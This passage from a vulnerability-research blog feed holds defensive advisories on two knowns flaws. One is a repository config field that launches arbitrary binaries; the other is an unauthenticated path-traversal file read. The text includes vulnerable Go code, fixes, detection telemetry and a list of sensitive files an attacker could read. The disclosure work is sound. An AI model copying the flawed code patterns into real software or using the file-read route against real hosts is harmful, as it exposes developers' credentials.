class="keyword">func</span> <span class="params">(m *Manager)</span></span> ValidateBinaryOverride(langID, override <span class="type">string</span>) <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> override == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line">m.mu.Lock()</span><br><span class="line">adapter := m.adapters[langID]</span><br><span class="line">m.mu.Unlock()</span><br><span class="line"><span class="keyword">if</span> adapter == <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;no adapter registered for language %q&quot;</span>, langID)</span><br><span class="line">&#125;</span><br><span class="line">_, err := selectBinaryCandidateOverride(override, adapter.Binaries())</span><br><span class="line"><span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>and <code>StartLanguage</code> resolves through the same allowlist rather than trusting the configured name. The HTTP LSP route validates the override too, so the rule holds whether the value arrives from a file or an API call.</p><p>The design change worth naming: the override went from being a <em>value</em> to being an <em>index into a known set</em>. The whole class of “what if the name is malicious” disappears, because a name that is not in the set is not a name the system will act on. Note also that the returned candidate carries the adapter’s own <code>CheckArgs</code> and <code>Args</code>, so the fix removes the odd inheritance from <code>binaries[0]</code> at the same time.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Treat repository-supplied configuration as untrusted until a human has reviewed it, and do not open unfamiliar repositories with tooling that acts on their configuration.</li><li>Review external contributions in a disposable environment — a container, a VM, or an ephemeral cloud workspace — rather than on the machine that holds your credentials.</li><li>Prefer tools that require explicit trust before honouring workspace configuration, and enable that prompt where it exists.</li><li>Keep long-lived credentials off the machine that opens untrusted code; use short-lived, brokered credentials.</li><li>Monitor process creation on developer workstations. Parent-child anomalies are the most reliable detection for this entire class.</li><li>In CI, never let an untrusted repository’s configuration influence what the runner executes.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>d3989829fb50</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86540 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="Configuration-from-a-repository-is-attacker-input"><a href="#Configuration-from-a-repository-is-attacker-input" class="headerlink" title="Configuration from a repository is attacker input"></a>Configuration from a repository is attacker input</h3><p>If a file inside a project can influence what your tool executes, the project’s authors can execute code on your users’ machines. Enumerate every field that reaches a process launch, a plugin load, or a script evaluation, and treat each one as hostile.</p><h3 id="Select-from-a-set-do-not-accept-a-name"><a href="#Select-from-a-set-do-not-accept-a-name" class="headerlink" title="Select from a set; do not accept a name"></a>Select from a set; do not accept a name</h3><p>The strongest form of this fix is not a better filter — it is a different data model. When the configuration selects among options the application already knows, malicious values have nowhere to go. Reach for that shape before reaching for validation.</p><h3 id="You-already-had-the-allowlist"><a href="#You-already-had-the-allowlist" class="headerlink" title="You already had the allowlist"></a>You already had the allowlist</h3><p><code>lang.Binaries</code> was the list of acceptable language servers, sitting in the same function. The override discarded it. When adding a customisation point, check whether the code already contains the set of valid answers — overrides that bypass an existing allowlist are a recurring and highly detectable pattern.</p><h3 id="CWE-78-without-a-shell-is-still-CWE-78"><a href="#CWE-78-without-a-shell-is-still-CWE-78" class="headerlink" title="CWE-78 without a shell is still CWE-78"></a>CWE-78 without a shell is still CWE-78</h3><p>Executing a program directly avoids shell metacharacter injection and does not make untrusted program names safe. Focus review on <em>what runs</em>, not only on <em>how arguments are quoted</em>.</p><h3 id="A-Validate-method-that-validates-one-field-is-a-trap"><a href="#A-Validate-method-that-validates-one-field-is-a-trap" class="headerlink" title="A Validate method that validates one field is a trap"></a>A <code>Validate</code> method that validates one field is a trap</h3><p><code>ProjectSettings.Validate</code> gave reviewers a reason to stop looking. If a validation function does not cover every security-relevant field in a structure, say so in its name or its comment — or, better, make it cover them.</p><h3 id="A-probe-is-a-full-execution"><a href="#A-probe-is-a-full-execution" class="headerlink" title="A probe is a full execution"></a>A probe is a full execution</h3><p><code>RunCheck</code> was meant to ask “does this binary work?”. Against a hostile binary, running it <em>is</em> the compromise, and a short timeout does not contain a process that detaches. There is no such thing as a partial execution.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><ul><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated file write that can plant the configuration this issue executes</li><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure</li><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — unauthenticated arbitrary file read via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — path traversal through MCP doc and memory tools</li><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — path traversal in the <code>code.replace</code> MCP action</li><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — authorisation bypass via misclassified code actions</li><li><a href="/posts/2026/09/cve-2026-86775-knowns-path-traversal-document-api/">CVE-2026-86775</a> — unauthenticated path traversal through the HTTP Document API</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86540">CVE.org record: CVE-2026-86540</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86540">NIST National Vulnerability Database: CVE-2026-86540</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-mc52-mwq4-vfx3">GitHub Security Advisory: GHSA-mc52-mwq4-vfx3</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-arbitrary-code-execution-via-lsp-binary">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/lsp/detect.go#L128-L157"><code>Detector.resolve</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/models/config.go#L205-L216"><code>ProjectSettings.Validate</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/commit/d3989829fb5095666d23d005b2f78a082832a396">Fix commit <code>d3989829fb50</code></a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by Tong Hoang Gia and Nguyen Huy Hoang. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86540 affects knowns before 0.30.0: the settings.lsp.languages binary field in .knowns/config.json is executed without validation when a repository is opened. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="lsp" scheme="https://blog.nhhoang.io.vn/tags/lsp/"/>
    
    <category term="code-execution" scheme="https://blog.nhhoang.io.vn/tags/code-execution/"/>
    
    <category term="workspace-trust" scheme="https://blog.nhhoang.io.vn/tags/workspace-trust/"/>
    
    <category term="cwe-78" scheme="https://blog.nhhoang.io.vn/tags/cwe-78/"/>
    
    <category term="supply-chain" scheme="https://blog.nhhoang.io.vn/tags/supply-chain/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86538: knowns Unauthenticated Arbitrary File Read via templateFile</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/</id>
    <published>2026-09-08T02:30:00.000Z</published>
    <updated>2026-11-12T15:04:06.495Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective data flow and the remediation. It does not include working traversal strings, target file lists tuned for exploitation, or a runnable proof of concept.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86538 is a path-traversal vulnerability in <a href="https://github.com/knowns-dev/knowns">knowns</a> before 0.30.0. The <code>POST /api/templates/preview</code> endpoint accepted a caller-supplied <code>templateFile</code> value, joined it onto the resolved template directory with <code>filepath.Join</code>, read the resulting path from disk, and returned the contents in the JSON response.</p><p><code>filepath.Join</code> cleans the path it produces. It does not constrain the result to the base directory. A <code>templateFile</code> containing parent-directory segments therefore resolves outside the template root, and the endpoint happily reads and returns it.</p><p>The weakness is <strong>CWE-22: Improper Limitation of a Pathname to a Restricted Directory</strong>. The vendor scores it <strong>CVSS 4.0 8.7 High</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 7.5 High</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</code>) — confidentiality-only, but complete.</p><p>The <code>PR:N</code> in that vector is not an accident. It is the direct consequence of <a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a>, which left the management API unauthenticated on all interfaces by default. The two together make this a credential-free remote file-read primitive against a developer’s machine.</p><p>Fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/09c5a96fd5817b941dc86669278c1a17db10ed4e"><code>09c5a96fd581</code></a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s published source and release material.</li><li><strong>Inferred</strong> means a deployment consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86538</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-fpxv-c555-rhm3</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Path traversal, CWE-22</td><td>Verified</td></tr><tr><td>Entry point</td><td><code>templateFile</code> field of <code>POST /api/templates/preview</code></td><td>Verified</td></tr><tr><td>Dangerous sink</td><td><code>os.ReadFile</code> on a <code>filepath.Join</code> result</td><td>Verified</td></tr><tr><td>Authentication required</td><td>None, by default</td><td>Verified</td></tr><tr><td>Impact</td><td>Disclosure of any file readable by the server process</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>8.7 High</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>7.5 High</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>09c5a96fd5817b941dc86669278c1a17db10ed4e</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-a-“preview”-endpoint-is-a-file-read-primitive"><a href="#Why-a-“preview”-endpoint-is-a-file-read-primitive" class="headerlink" title="Why a “preview” endpoint is a file-read primitive"></a>Why a “preview” endpoint is a file-read primitive</h2><p>Template preview features share a recognisable shape across products: take a template identifier, take a file name inside that template, render it with some variables, show the result. Each step looks harmless. The composite is a request-controlled read whose output is returned verbatim to the caller.</p><p>Three properties make this variant more serious than the average traversal bug:</p><ul><li><strong>The output is the file, not a side effect.</strong> Some traversal bugs only leak existence or a boolean. This one returns content in the response body.</li><li><strong>There is no extension constraint.</strong> The default is <code>main.hbs</code>, but nothing requires the supplied value to end in <code>.hbs</code>. Any readable path is fair game.</li><li><strong>The process runs as the developer.</strong> knowns is a developer tool, so the reading process holds the developer’s own filesystem privileges — not a hardened service account.</li></ul><p><strong>Inferred:</strong> the interesting targets are therefore not project files, which the caller could often read through legitimate endpoints anyway, but the developer’s ambient secrets: environment files, cloud credential directories, SSH material, shell history, and the tool’s own configuration.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><p>The vulnerable handler in <code>internal/server/routes/templates.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// POST /api/templates/preview</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(tr *TemplateRoutes)</span></span> preview(w http.ResponseWriter, r *http.Request) &#123;</span><br><span class="line"><span class="keyword">var</span> req previewTemplateRequest</span><br><span class="line"><span class="keyword">if</span> err := decodeJSON(r, &amp;req); err != <span class="literal">nil</span> &#123;</span><br><span class="line">respondError(w, http.StatusBadRequest, <span class="string">&quot;invalid request body: &quot;</span>+err.Error())</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tmpl, err := tr.getStore().Templates.Get(req.Name)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">respondError(w, http.StatusNotFound, <span class="string">&quot;template not found: &quot;</span>+err.Error())</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">templateFile := req.TemplateFile</span><br><span class="line"><span class="keyword">if</span> templateFile == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">templateFile = <span class="string">&quot;main.hbs&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">hbsPath := filepath.Join(tmpl.Path, templateFile)</span><br><span class="line">hbsContent, err := os.ReadFile(hbsPath)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">respondError(w, http.StatusNotFound, <span class="string">&quot;template file not found: &quot;</span>+templateFile)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Simple variable replacement: &#123;&#123;varName&#125;&#125; → value</span></span><br><span class="line">rendered := <span class="type">string</span>(hbsContent)</span><br><span class="line"><span class="keyword">if</span> req.Variables != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">for</span> k, v := <span class="keyword">range</span> req.Variables &#123;</span><br><span class="line">rendered = strings.ReplaceAll(rendered, <span class="string">&quot;&#123;&#123;&quot;</span>+k+<span class="string">&quot;&#125;&#125;&quot;</span>, v)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The bug is one line, and it is a line that appears in a great deal of Go code:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hbsPath := filepath.Join(tmpl.Path, templateFile)</span><br></pre></td></tr></table></figure><h3 id="The-filepath-Join-misconception"><a href="#The-filepath-Join-misconception" class="headerlink" title="The filepath.Join misconception"></a>The <code>filepath.Join</code> misconception</h3><p><code>filepath.Join</code> joins elements and calls <code>Clean</code> on the result. Developers frequently read “cleans the path” as “makes the path safe”. It does not. <code>Clean</code> resolves <code>..</code> segments <em>lexically</em>, which means it happily produces a path above the base directory when the untrusted element asks for it. Joining a base with <code>../../x</code> yields a sibling of the base’s parent, not an error and not a path inside the base.</p><p>Nothing in the handler re-checks the result. There is no <code>strings.HasPrefix</code> containment check, no <code>filepath.Rel</code> verification, and no symlink resolution.</p><h3 id="The-variable-substitution-runs-after-the-read"><a href="#The-variable-substitution-runs-after-the-read" class="headerlink" title="The variable substitution runs after the read"></a>The variable substitution runs after the read</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">rendered := <span class="type">string</span>(hbsContent)</span><br><span class="line"><span class="keyword">if</span> req.Variables != <span class="literal">nil</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><p>Substitution only replaces <code>&#123;&#123;name&#125;&#125;</code> placeholders that happen to appear in the content. A file with no placeholders passes through unchanged, so the response contains the raw file. <strong>Inferred:</strong> this makes the primitive clean rather than lossy — the attacker does not have to reconstruct content from partial rendering artefacts.</p><h3 id="The-data-flow"><a href="#The-data-flow" class="headerlink" title="The data flow"></a>The data flow</h3><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST /api/templates/preview   (unauthenticated by default)</span><br><span class="line">        |</span><br><span class="line">        | &#123; &quot;name&quot;: &lt;known template&gt;, &quot;templateFile&quot;: &lt;untrusted&gt; &#125;</span><br><span class="line">        v</span><br><span class="line">Templates.Get(name)  -&gt;  tmpl.Path   (trusted base)</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">filepath.Join(tmpl.Path, templateFile)      &lt;-- lexical join, no containment</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">os.ReadFile(...)                            &lt;-- reads as the developer&#x27;s user</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">JSON response body                          &lt;-- content returned to caller</span><br></pre></td></tr></table></figure><p>Note that <code>Templates.Get(req.Name)</code> <em>is</em> validated — the template must exist. The developer applied validation to the parameter that felt like an identifier and omitted it on the parameter that felt like a filename. <strong>Inferred:</strong> that asymmetry is a common and instructive pattern; the field that looks most like a path is the one that most needs a containment check, and it is often the one that gets the least.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>An unauthenticated network caller could read arbitrary files accessible to the server process.</li><li>Contents are returned directly in the JSON response.</li><li>The CVE record specifically cites credentials and configuration as exposed material.</li><li>Integrity and availability are not affected by this issue in isolation (<code>VI:N/VA:N</code>).</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>disclosure of <code>.env</code> files, cloud credential files, API tokens, and CI secrets present on the host;</li><li>disclosure of SSH private keys and configuration, and of the knowns configuration itself;</li><li>disclosure of source code, internal specifications, and architectural decisions outside the current project;</li><li>reconnaissance that makes the write-side issues in this set more effective, because an attacker who can read <code>.knowns/config.json</code> and the project layout knows exactly where to aim <a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a>;</li><li>onward compromise of any service whose credentials were recovered — the blast radius is set by what the developer’s account can reach, not by knowns.</li></ul><p><strong>Inferred:</strong> for a developer workstation, a reliable arbitrary file read is frequently equivalent to a credential compromise, because development machines are where long-lived tokens accumulate.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and record versions; anything before 0.30.0 is affected.</li><li>Determine whether the management API was reachable beyond loopback — see <a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> for the bind-address and password checks.</li><li>Confirm the exposure window: how long did an affected version run, on what networks, and was a tunnel ever started?</li><li>Inventory what was readable by that user account during the window. That set, not the project directory, is the exposure scope.</li></ol><p>Do not validate by sending traversal payloads at a production or shared host. Version and bind-address facts answer the question without touching the vulnerable path.</p><h3 id="Telemetry-to-review"><a href="#Telemetry-to-review" class="headerlink" title="Telemetry to review"></a>Telemetry to review</h3><ul><li><code>POST /api/templates/preview</code> requests where <code>templateFile</code> is present and is not a plain relative name;</li><li>any <code>templateFile</code> value containing parent-directory segments, absolute path prefixes, or backslashes;</li><li>preview requests from source addresses other than loopback;</li><li>response sizes on the preview endpoint that are far outside the normal distribution for templates;</li><li>bursts of preview requests iterating over similar names, which is the signature of enumeration rather than use;</li><li>reads of sensitive files by the knowns process in host filesystem audit logs (auditd, EDR, or equivalent).</li></ul><p><strong>Inferred:</strong> the last item is the most reliable signal, because it observes the sink rather than the request. Request logging can be absent or truncated, but a process-level read of a credential file by a documentation tool is anomalous on its face.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix introduces a dedicated <code>internal/safepath</code> package and routes the preview through it:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">hbsPath, err := safepath.Resolve(tmpl.Path, templateFile)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">respondError(w, http.StatusBadRequest, <span class="string">&quot;invalid template file path&quot;</span>)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line">hbsContent, err := os.ReadFile(hbsPath)</span><br></pre></td></tr></table></figure><p><code>safepath.Resolve</code> is the interesting part of the patch, because it treats path validation as a real parsing problem rather than a substring check:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Package safepath resolves untrusted filesystem paths inside an explicit root.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">resolve</span><span class="params">(root, untrusted <span class="type">string</span>, allowContainedAbsolute <span class="type">bool</span>)</span></span> (<span class="type">string</span>, <span class="type">error</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> strings.TrimSpace(untrusted) == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;path is required&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> strings.IndexByte(untrusted, <span class="number">0</span>) &gt;= <span class="number">0</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;path contains a NUL byte&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">normalized := strings.ReplaceAll(untrusted, <span class="string">`\`</span>, <span class="string">&quot;/&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> strings.HasPrefix(normalized, <span class="string">&quot;//?/&quot;</span>) || strings.HasPrefix(normalized, <span class="string">&quot;//./&quot;</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;path must not use a Windows device prefix&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> strings.HasPrefix(normalized, <span class="string">&quot;/&quot;</span>) &amp;&amp; !allowContainedAbsolute &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;path must be relative&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">for</span> i, segment := <span class="keyword">range</span> strings.Split(normalized, <span class="string">&quot;/&quot;</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> segment == <span class="string">&quot;..&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;path must not contain parent traversal&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Worth noting about that implementation:</p><ul><li>it <strong>rejects</strong> rather than sanitises, so there is no strip-and-retry logic to outsmart;</li><li>it normalises backslashes before segmenting, so Windows separators cannot smuggle a segment past a Unix-oriented check;</li><li>it rejects NUL bytes, Windows device prefixes (<code>\\?\</code>, <code>\\.\</code>), volume and UNC prefixes, drive-relative paths, and NTFS alternate data streams;</li><li>it resolves against an absolute, cleaned root and — in the <code>ResolveProjectReal</code> variant — follows symlinks so a link inside the root cannot point outside it.</li></ul><p>The same commit applies containment to the document store, memory store, and template store; those paths are covered in <a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a>.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Bind the server to loopback and set a password (both are enforced by default in 0.30.0).</li><li>Run developer context servers with the narrowest practical filesystem view; a container or a dedicated user account bounds what any future read primitive can reach.</li><li>Keep long-lived cloud and registry credentials out of the developer home directory; prefer short-lived, brokered credentials.</li><li>Rotate any secret that was readable by the account during the exposure window if you cannot rule out access.</li><li>Where you must accept a filename from a client, treat the allowed set as an enumeration (a whitelist of known template files) rather than a path at all.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-15</td><td>Fix commit <code>09c5a96fd581</code> authored in the knowns repository</td><td>Repository metadata</td></tr><tr><td>2026-08-16</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-07</td><td>CVE-2026-86538 reserved and published</td><td>CVE record metadata</td></tr><tr><td>2026-09-08</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="filepath-Join-is-not-a-security-boundary"><a href="#filepath-Join-is-not-a-security-boundary" class="headerlink" title="filepath.Join is not a security boundary"></a><code>filepath.Join</code> is not a security boundary</h3><p>This is the single most reusable takeaway. <code>Join</code> composes and cleans; it never constrains. Any time an untrusted element is joined onto a trusted base, the result must be validated against that base afterwards — or, better, produced by a function whose contract <em>is</em> containment.</p><h3 id="Reject-do-not-sanitise"><a href="#Reject-do-not-sanitise" class="headerlink" title="Reject, do not sanitise"></a>Reject, do not sanitise</h3><p>Stripping <code>..</code> from a string is a losing game: encodings, mixed separators, and repeated sequences all defeat naive filters. The 0.30.0 approach — normalise, then refuse anything that is not a plain relative path inside the root — has no residual cleverness to be outwitted.</p><h3 id="Validation-applied-unevenly-is-validation-missing"><a href="#Validation-applied-unevenly-is-validation-missing" class="headerlink" title="Validation applied unevenly is validation missing"></a>Validation applied unevenly is validation missing</h3><p><code>req.Name</code> was validated. <code>req.TemplateFile</code> was not. The handler’s author clearly understood that input needed checking; the check simply did not follow the value that reached the filesystem. Trace each parameter to its sink independently.</p><h3 id="Confidentiality-only-findings-still-deserve-High"><a href="#Confidentiality-only-findings-still-deserve-High" class="headerlink" title="Confidentiality-only findings still deserve High"></a>Confidentiality-only findings still deserve High</h3><p>A vector with <code>VI:N/VA:N</code> can read as “just an info leak”. On a developer workstation, a general file read is the credential-collection step of an intrusion. Score the primitive, not the immediate symptom.</p><h3 